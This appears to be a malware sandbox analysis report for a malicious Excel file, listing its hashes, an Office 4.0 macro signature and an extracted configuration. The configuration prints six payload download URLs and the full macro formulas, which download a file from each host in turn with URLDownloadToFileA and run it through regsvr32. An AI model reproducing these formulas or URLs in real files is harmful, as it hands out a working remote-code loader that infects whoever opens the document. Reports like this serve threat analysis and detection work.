General
-
Target
c9c1f82b2ac46b614de0afacf031596e7f9a212da822c24e4fd805b72cb179e5
-
Size
48KB
-
MD5
38beed4ce9981a996050e06e7a297685
-
SHA1
241356f39f40e2106358d9afce54b40bb904b2e8
-
SHA256
c9c1f82b2ac46b614de0afacf031596e7f9a212da822c24e4fd805b72cb179e5
-
SHA512
4c86afbc5bd6afb877526485906b9b1bb381710302d06e86013190722afec6422fd2cf9237e49f3c5b93a6f886c8e60c614eab2a35ba4eb73acdf0cc03d41c72
-
SSDEEP
768:zO+CAEWvxRc3mlkKDNWBA7rTj+RYV8Q0RuVBR2jPrtysHRX0AOBAa:z7O2b8QkKDNck01u/R2rZyjtBl
Malware Config
Extracted
http://suleyera.com/components/CNGhltc5v2K6/
http://sociallysavvyseo.com/PinnacleDynamicServices/pRlYMzvfuu5B/
http://moveit.savvyint.com/config/DsfssbO7BYG/
https://schwizer.net/styled/D0MG/
http://shabeerpv.atwebpages.com/css/ww6if1YAsMpjpuGz/
http://shimal.atwebpages.com/wp-content/xkaRkHr/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://suleyera.com/components/CNGhltc5v2K6/","..\ax.ocx",0,0) =IF('LGGDGB'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sociallysavvyseo.com/PinnacleDynamicServices/pRlYMzvfuu5B/","..\ax.ocx",0,0)) =IF('LGGDGB'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://moveit.savvyint.com/config/DsfssbO7BYG/","..\ax.ocx",0,0)) =IF('LGGDGB'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://schwizer.net/styled/D0MG/","..\ax.ocx",0,0)) =IF('LGGDGB'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://shabeerpv.atwebpages.com/css/ww6if1YAsMpjpuGz/","..\ax.ocx",0,0)) =IF('LGGDGB'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://shimal.atwebpages.com/wp-content/xkaRkHr/","..\ax.ocx",0,0)) =IF('LGGDGB'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ax.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
c9c1f82b2ac46b614de0afacf031596e7f9a212da822c24e4fd805b72cb179e5